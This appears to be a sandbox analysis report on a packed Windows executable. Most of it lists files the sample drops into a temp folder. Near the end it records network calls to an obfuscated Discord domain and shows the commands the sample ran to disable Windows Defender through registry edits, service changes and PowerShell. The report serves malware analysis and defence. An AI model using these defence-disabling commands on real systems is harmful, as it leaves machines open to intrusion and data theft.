%TEMP%\_mei14602\tzdata\zoneinfo\asia\makassar
%TEMP%\_mei14602\tzdata\zoneinfo\asia\manila
%TEMP%\_mei14602\tzdata\zoneinfo\asia\muscat
%TEMP%\_mei14602\tzdata\zoneinfo\asia\nicosia
%TEMP%\_mei14602\tzdata\zoneinfo\asia\novokuznetsk
%TEMP%\_mei14602\tzdata\zoneinfo\asia\novosibirsk
%TEMP%\_mei14602\tzdata\zoneinfo\asia\omsk
%TEMP%\_mei14602\tzdata\zoneinfo\asia\oral
%TEMP%\_mei14602\tzdata\zoneinfo\asia\phnom_penh
%TEMP%\_mei14602\tzdata\zoneinfo\asia\pontianak
%TEMP%\_mei14602\tzdata\zoneinfo\asia\pyongyang
%TEMP%\_mei14602\tzdata\zoneinfo\asia\qatar
%TEMP%\_mei14602\tzdata\zoneinfo\asia\qostanay
%TEMP%\_mei14602\tzdata\zoneinfo\asia\qyzylorda
%TEMP%\_mei14602\tzdata\zoneinfo\asia\rangoon
%TEMP%\_mei14602\tzdata\zoneinfo\asia\riyadh
%TEMP%\_mei14602\tzdata\zoneinfo\asia\saigon
%TEMP%\_mei14602\tzdata\zoneinfo\asia\sakhalin
%TEMP%\_mei14602\tzdata\zoneinfo\asia\samarkand
%TEMP%\_mei14602\tzdata\zoneinfo\asia\seoul
%TEMP%\_mei14602\tzdata\zoneinfo\asia\shanghai
%TEMP%\_mei14602\tzdata\zoneinfo\asia\singapore
%TEMP%\_mei14602\tzdata\zoneinfo\asia\srednekolymsk
%TEMP%\_mei14602\tzdata\zoneinfo\asia\taipei
%TEMP%\_mei14602\tzdata\zoneinfo\asia\tashkent
%TEMP%\_mei14602\tzdata\zoneinfo\asia\tbilisi
%TEMP%\_mei14602\tzdata\zoneinfo\asia\tehran
%TEMP%\_mei14602\tzdata\zoneinfo\asia\tel_aviv
%TEMP%\_mei14602\tzdata\zoneinfo\asia\thimbu
%TEMP%\_mei14602\tzdata\zoneinfo\asia\thimphu
%TEMP%\_mei14602\tzdata\zoneinfo\asia\tokyo
%TEMP%\_mei14602\tzdata\zoneinfo\asia\tomsk
%TEMP%\_mei14602\tzdata\zoneinfo\asia\ujung_pandang
%TEMP%\_mei14602\tzdata\zoneinfo\asia\ulaanbaatar
%TEMP%\_mei14602\tzdata\zoneinfo\asia\ulan_bator
%TEMP%\_mei14602\tzdata\zoneinfo\asia\urumqi
%TEMP%\_mei14602\tzdata\zoneinfo\asia\ust-nera
%TEMP%\_mei14602\tzdata\zoneinfo\asia\vientiane
%TEMP%\_mei14602\tzdata\zoneinfo\asia\vladivostok
%TEMP%\_mei14602\tzdata\zoneinfo\asia\yakutsk
%TEMP%\_mei14602\tzdata\zoneinfo\asia\yangon
%TEMP%\_mei14602\tzdata\zoneinfo\asia\yekaterinburg
%TEMP%\_mei14602\tzdata\zoneinfo\asia\yerevan
%TEMP%\_mei14602\tzdata\zoneinfo\atlantic\azores
%TEMP%\_mei14602\tzdata\zoneinfo\atlantic\bermuda
%TEMP%\_mei14602\tzdata\zoneinfo\atlantic\canary
%TEMP%\_mei14602\tzdata\zoneinfo\atlantic\cape_verde
%TEMP%\_mei14602\tzdata\zoneinfo\atlantic\faeroe
%TEMP%\_mei14602\tzdata\zoneinfo\atlantic\faroe
%TEMP%\_mei14602\tzdata\zoneinfo\atlantic\jan_mayen
%TEMP%\_mei14602\tzdata\zoneinfo\atlantic\madeira
%TEMP%\_mei14602\tzdata\zoneinfo\atlantic\reykjavik
%TEMP%\_mei14602\tzdata\zoneinfo\atlantic\south_georgia
%TEMP%\_mei14602\tzdata\zoneinfo\atlantic\st_helena
%TEMP%\_mei14602\tzdata\zoneinfo\atlantic\stanley
%TEMP%\_mei14602\tzdata\zoneinfo\australia\act
%TEMP%\_mei14602\tzdata\zoneinfo\australia\adelaide
%TEMP%\_mei14602\tzdata\zoneinfo\australia\brisbane
%TEMP%\_mei14602\tzdata\zoneinfo\australia\broken_hill
%TEMP%\_mei14602\tzdata\zoneinfo\australia\canberra
%TEMP%\_mei14602\tzdata\zoneinfo\australia\currie
%TEMP%\_mei14602\tzdata\zoneinfo\australia\darwin
%TEMP%\_mei14602\tzdata\zoneinfo\australia\eucla
%TEMP%\_mei14602\tzdata\zoneinfo\australia\hobart
%TEMP%\_mei14602\tzdata\zoneinfo\australia\lhi
%TEMP%\_mei14602\tzdata\zoneinfo\australia\lindeman
%TEMP%\_mei14602\tzdata\zoneinfo\australia\lord_howe
%TEMP%\_mei14602\tzdata\zoneinfo\australia\melbourne
%TEMP%\_mei14602\tzdata\zoneinfo\australia\nsw
%TEMP%\_mei14602\tzdata\zoneinfo\australia\north
%TEMP%\_mei14602\tzdata\zoneinfo\australia\perth
%TEMP%\_mei14602\tzdata\zoneinfo\australia\queensland
%TEMP%\_mei14602\tzdata\zoneinfo\australia\south
%TEMP%\_mei14602\tzdata\zoneinfo\australia\sydney
%TEMP%\_mei14602\tzdata\zoneinfo\australia\tasmania
%TEMP%\_mei14602\tzdata\zoneinfo\australia\victoria
%TEMP%\_mei14602\tzdata\zoneinfo\australia\west
%TEMP%\_mei14602\tzdata\zoneinfo\australia\yancowinna
%TEMP%\_mei14602\tzdata\zoneinfo\brazil\acre
%TEMP%\_mei14602\tzdata\zoneinfo\brazil\denoronha
%TEMP%\_mei14602\tzdata\zoneinfo\brazil\east
%TEMP%\_mei14602\tzdata\zoneinfo\brazil\west
%TEMP%\_mei14602\tzdata\zoneinfo\cet
%TEMP%\_mei14602\tzdata\zoneinfo\cst6cdt
%TEMP%\_mei14602\tzdata\zoneinfo\canada\atlantic
%TEMP%\_mei14602\tzdata\zoneinfo\canada\central
%TEMP%\_mei14602\tzdata\zoneinfo\canada\eastern
%TEMP%\_mei14602\tzdata\zoneinfo\canada\mountain
%TEMP%\_mei14602\tzdata\zoneinfo\canada\newfoundland
%TEMP%\_mei14602\tzdata\zoneinfo\canada\pacific
%TEMP%\_mei14602\tzdata\zoneinfo\canada\saskatchewan
%TEMP%\_mei14602\tzdata\zoneinfo\canada\yukon
%TEMP%\_mei14602\tzdata\zoneinfo\chile\continental
%TEMP%\_mei14602\tzdata\zoneinfo\chile\easterisland
%TEMP%\_mei14602\tzdata\zoneinfo\cuba
%TEMP%\_mei14602\tzdata\zoneinfo\eet
%TEMP%\_mei14602\tzdata\zoneinfo\est
%TEMP%\_mei14602\tzdata\zoneinfo\est5edt
%TEMP%\_mei14602\tzdata\zoneinfo\egypt
%TEMP%\_mei14602\tzdata\zoneinfo\eire
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt+0
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt+1
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt+10
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt+11
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt+12
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt+2
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt+3
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt+4
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt+5
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt+6
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt+7
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt+8
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt+9
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt-0
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt-1
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt-10
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt-11
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt-12
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt-13
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt-14
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt-2
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt-3
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt-4
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt-5
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt-6
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt-7
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt-8
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt-9
%TEMP%\_mei14602\tzdata\zoneinfo\etc\gmt0
%TEMP%\_mei14602\tzdata\zoneinfo\etc\greenwich
%TEMP%\_mei14602\tzdata\zoneinfo\etc\uct
%TEMP%\_mei14602\tzdata\zoneinfo\etc\utc
%TEMP%\_mei14602\tzdata\zoneinfo\etc\universal
%TEMP%\_mei14602\tzdata\zoneinfo\etc\zulu
%TEMP%\_mei14602\tzdata\zoneinfo\europe\amsterdam
%TEMP%\_mei14602\tzdata\zoneinfo\europe\andorra
%TEMP%\_mei14602\tzdata\zoneinfo\europe\astrakhan
%TEMP%\_mei14602\tzdata\zoneinfo\europe\athens
%TEMP%\_mei14602\tzdata\zoneinfo\europe\belfast
%TEMP%\_mei14602\tzdata\zoneinfo\europe\belgrade
%TEMP%\_mei14602\tzdata\zoneinfo\europe\berlin
%TEMP%\_mei14602\tzdata\zoneinfo\europe\bratislava
%TEMP%\_mei14602\tzdata\zoneinfo\europe\brussels
%TEMP%\_mei14602\tzdata\zoneinfo\europe\bucharest
%TEMP%\_mei14602\tzdata\zoneinfo\europe\budapest
%TEMP%\_mei14602\tzdata\zoneinfo\europe\busingen
%TEMP%\_mei14602\tzdata\zoneinfo\europe\chisinau
%TEMP%\_mei14602\tzdata\zoneinfo\europe\copenhagen
%TEMP%\_mei14602\tzdata\zoneinfo\europe\dublin
%TEMP%\_mei14602\tzdata\zoneinfo\europe\gibraltar
%TEMP%\_mei14602\tzdata\zoneinfo\europe\guernsey
%TEMP%\_mei14602\tzdata\zoneinfo\europe\helsinki
%TEMP%\_mei14602\tzdata\zoneinfo\europe\isle_of_man
%TEMP%\_mei14602\tzdata\zoneinfo\europe\istanbul
%TEMP%\_mei14602\tzdata\zoneinfo\europe\jersey
%TEMP%\_mei14602\tzdata\zoneinfo\europe\kaliningrad
%TEMP%\_mei14602\tzdata\zoneinfo\europe\kiev
%TEMP%\_mei14602\tzdata\zoneinfo\europe\kirov
%TEMP%\_mei14602\tzdata\zoneinfo\europe\kyiv
%TEMP%\_mei14602\tzdata\zoneinfo\europe\lisbon
%TEMP%\_mei14602\tzdata\zoneinfo\europe\ljubljana
%TEMP%\_mei14602\tzdata\zoneinfo\europe\london
%TEMP%\_mei14602\tzdata\zoneinfo\europe\luxembourg
%TEMP%\_mei14602\tzdata\zoneinfo\europe\madrid
%TEMP%\_mei14602\tzdata\zoneinfo\europe\malta
%TEMP%\_mei14602\tzdata\zoneinfo\europe\mariehamn
%TEMP%\_mei14602\tzdata\zoneinfo\europe\minsk
%TEMP%\_mei14602\tzdata\zoneinfo\europe\monaco
%TEMP%\_mei14602\tzdata\zoneinfo\europe\moscow
%TEMP%\_mei14602\tzdata\zoneinfo\europe\nicosia
%TEMP%\_mei14602\tzdata\zoneinfo\europe\oslo
%TEMP%\_mei14602\tzdata\zoneinfo\europe\paris
%TEMP%\_mei14602\tzdata\zoneinfo\europe\podgorica
%TEMP%\_mei14602\tzdata\zoneinfo\europe\prague
%TEMP%\_mei14602\tzdata\zoneinfo\europe\riga
%TEMP%\_mei14602\tzdata\zoneinfo\europe\rome
%TEMP%\_mei14602\tzdata\zoneinfo\europe\samara
%TEMP%\_mei14602\tzdata\zoneinfo\europe\san_marino
%TEMP%\_mei14602\tzdata\zoneinfo\europe\sarajevo
%TEMP%\_mei14602\tzdata\zoneinfo\europe\saratov
%TEMP%\_mei14602\tzdata\zoneinfo\europe\simferopol
%TEMP%\_mei14602\tzdata\zoneinfo\europe\skopje
%TEMP%\_mei14602\tzdata\zoneinfo\europe\sofia
%TEMP%\_mei14602\tzdata\zoneinfo\europe\stockholm
%TEMP%\_mei14602\tzdata\zoneinfo\europe\tallinn
%TEMP%\_mei14602\tzdata\zoneinfo\europe\tirane
%TEMP%\_mei14602\tzdata\zoneinfo\europe\tiraspol
%TEMP%\_mei14602\tzdata\zoneinfo\europe\ulyanovsk
%TEMP%\_mei14602\tzdata\zoneinfo\europe\uzhgorod
%TEMP%\_mei14602\tzdata\zoneinfo\europe\vaduz
%TEMP%\_mei14602\tzdata\zoneinfo\europe\vatican
%TEMP%\_mei14602\tzdata\zoneinfo\europe\vienna
%TEMP%\_mei14602\tzdata\zoneinfo\europe\vilnius
%TEMP%\_mei14602\tzdata\zoneinfo\europe\volgograd
%TEMP%\_mei14602\tzdata\zoneinfo\europe\warsaw
%TEMP%\_mei14602\tzdata\zoneinfo\europe\zagreb
%TEMP%\_mei14602\tzdata\zoneinfo\europe\zaporozhye
%TEMP%\_mei14602\tzdata\zoneinfo\europe\zurich
%TEMP%\_mei14602\tzdata\zoneinfo\factory
%TEMP%\_mei14602\tzdata\zoneinfo\gb
%TEMP%\_mei14602\tzdata\zoneinfo\gb-eire
%TEMP%\_mei14602\tzdata\zoneinfo\gmt
%TEMP%\_mei14602\tzdata\zoneinfo\gmt+0
%TEMP%\_mei14602\tzdata\zoneinfo\gmt-0
%TEMP%\_mei14602\tzdata\zoneinfo\gmt0
%TEMP%\_mei14602\tzdata\zoneinfo\greenwich
%TEMP%\_mei14602\tzdata\zoneinfo\hst
%TEMP%\_mei14602\tzdata\zoneinfo\hongkong
%TEMP%\_mei14602\tzdata\zoneinfo\iceland
%TEMP%\_mei14602\tzdata\zoneinfo\indian\antananarivo
%TEMP%\_mei14602\tzdata\zoneinfo\indian\chagos
%TEMP%\_mei14602\tzdata\zoneinfo\indian\christmas
%TEMP%\_mei14602\tzdata\zoneinfo\indian\cocos
%TEMP%\_mei14602\tzdata\zoneinfo\indian\comoro
%TEMP%\_mei14602\tzdata\zoneinfo\indian\kerguelen
%TEMP%\_mei14602\tzdata\zoneinfo\indian\mahe
%TEMP%\_mei14602\tzdata\zoneinfo\indian\maldives
%TEMP%\_mei14602\tzdata\zoneinfo\indian\mauritius
%TEMP%\_mei14602\tzdata\zoneinfo\indian\mayotte
%TEMP%\_mei14602\tzdata\zoneinfo\indian\reunion
%TEMP%\_mei14602\tzdata\zoneinfo\iran
%TEMP%\_mei14602\tzdata\zoneinfo\israel
%TEMP%\_mei14602\tzdata\zoneinfo\jamaica
%TEMP%\_mei14602\tzdata\zoneinfo\japan
%TEMP%\_mei14602\tzdata\zoneinfo\kwajalein
%TEMP%\_mei14602\tzdata\zoneinfo\libya
%TEMP%\_mei14602\tzdata\zoneinfo\met
%TEMP%\_mei14602\tzdata\zoneinfo\mst
%TEMP%\_mei14602\tzdata\zoneinfo\mst7mdt
%TEMP%\_mei14602\tzdata\zoneinfo\mexico\bajanorte
%TEMP%\_mei14602\tzdata\zoneinfo\mexico\bajasur
%TEMP%\_mei14602\tzdata\zoneinfo\mexico\general
%TEMP%\_mei14602\tzdata\zoneinfo\nz
%TEMP%\_mei14602\tzdata\zoneinfo\nz-chat
%TEMP%\_mei14602\tzdata\zoneinfo\navajo
%TEMP%\_mei14602\tzdata\zoneinfo\prc
%TEMP%\_mei14602\tzdata\zoneinfo\pst8pdt
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\apia
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\auckland
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\bougainville
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\chatham
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\chuuk
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\easter
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\efate
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\enderbury
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\fakaofo
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\fiji
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\funafuti
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\galapagos
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\gambier
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\guadalcanal
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\guam
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\honolulu
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\johnston
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\kanton
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\kiritimati
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\kosrae
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\kwajalein
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\majuro
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\marquesas
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\midway
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\nauru
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\niue
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\norfolk
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\noumea
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\pago_pago
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\palau
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\pitcairn
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\pohnpei
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\ponape
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\port_moresby
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\rarotonga
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\saipan
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\samoa
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\tahiti
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\tarawa
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\tongatapu
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\truk
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\wake
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\wallis
%TEMP%\_mei14602\tzdata\zoneinfo\pacific\yap
%TEMP%\_mei14602\tzdata\zoneinfo\poland
%TEMP%\_mei14602\tzdata\zoneinfo\portugal
%TEMP%\_mei14602\tzdata\zoneinfo\roc
%TEMP%\_mei14602\tzdata\zoneinfo\rok
%TEMP%\_mei14602\tzdata\zoneinfo\singapore
%TEMP%\_mei14602\tzdata\zoneinfo\turkey
%TEMP%\_mei14602\tzdata\zoneinfo\uct
%TEMP%\_mei14602\tzdata\zoneinfo\us\alaska
%TEMP%\_mei14602\tzdata\zoneinfo\us\aleutian
%TEMP%\_mei14602\tzdata\zoneinfo\us\arizona
%TEMP%\_mei14602\tzdata\zoneinfo\us\central
%TEMP%\_mei14602\tzdata\zoneinfo\us\east-indiana
%TEMP%\_mei14602\tzdata\zoneinfo\us\eastern
%TEMP%\_mei14602\tzdata\zoneinfo\us\hawaii
%TEMP%\_mei14602\tzdata\zoneinfo\us\indiana-starke
%TEMP%\_mei14602\tzdata\zoneinfo\us\michigan
%TEMP%\_mei14602\tzdata\zoneinfo\us\mountain
%TEMP%\_mei14602\tzdata\zoneinfo\us\pacific
%TEMP%\_mei14602\tzdata\zoneinfo\us\samoa
%TEMP%\_mei14602\tzdata\zoneinfo\utc
%TEMP%\_mei14602\tzdata\zoneinfo\universal
%TEMP%\_mei14602\tzdata\zoneinfo\w-su
%TEMP%\_mei14602\tzdata\zoneinfo\wet
%TEMP%\_mei14602\tzdata\zoneinfo\zulu
%TEMP%\_mei14602\tzdata\zoneinfo\iso3166.tab
%TEMP%\_mei14602\tzdata\zoneinfo\leapseconds
%TEMP%\_mei14602\tzdata\zoneinfo\tzdata.zi
%TEMP%\_mei14602\tzdata\zoneinfo\zone.tab
%TEMP%\_mei14602\tzdata\zoneinfo\zone1970.tab
%TEMP%\_mei14602\tzdata\zoneinfo\zonenow.tab
%TEMP%\_mei14602\tzdata\zones
%TEMP%\_mei14602\ucrtbase.dll
%TEMP%\_mei14602\unicodedata.pyd
%TEMP%\_mei14602\win32\_win32sysloader.pyd
%TEMP%\_mei14602\win32\win32api.pyd
%TEMP%\_mei14602\win32\win32clipboard.pyd
%TEMP%\_mei14602\win32\win32crypt.pyd
%TEMP%\_mei14602\win32\win32event.pyd
%TEMP%\_mei14602\win32\win32evtlog.pyd
%TEMP%\_mei14602\win32\win32trace.pyd
%TEMP%\_mei14602\yarl\_quoting_c.cp312-win_amd64.pyd
%TEMP%\gen_py\3.12\__init__.py
%TEMP%\gen_py\3.12\dicts.dat

Network activity

Connects to

'google.com':443
'localhost':49697
'di##ord.com':443
'localhost':49701
'localhost':49707
'localhost':49712
'localhost':49719
'localhost':49725
'localhost':49733
'localhost':49741
'localhost':49752

TCP

Other

'google.com':443
'localhost':49697
'di##ord.com':443
'localhost':49701
'localhost':49707
'localhost':49712
'localhost':49719
'localhost':49725
'localhost':49733
'localhost':49741
'localhost':49752

UDP

DNS ASK google.com
DNS ASK di##ord.com

Miscellaneous

Searches for the following windows

ClassName: '' WindowName: ''

Restarts the analyzed sample

Executes the following

'<SYSTEM32>\reg.exe' add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
'<SYSTEM32>\sc.exe' stop WinDefend
'<SYSTEM32>\sc.exe' config WinDefend start= disabled
'<SYSTEM32>\cmd.exe' /c "ver"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
'<SYSTEM32>\cmd.exe' /c "ver"' (with hidden window)

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial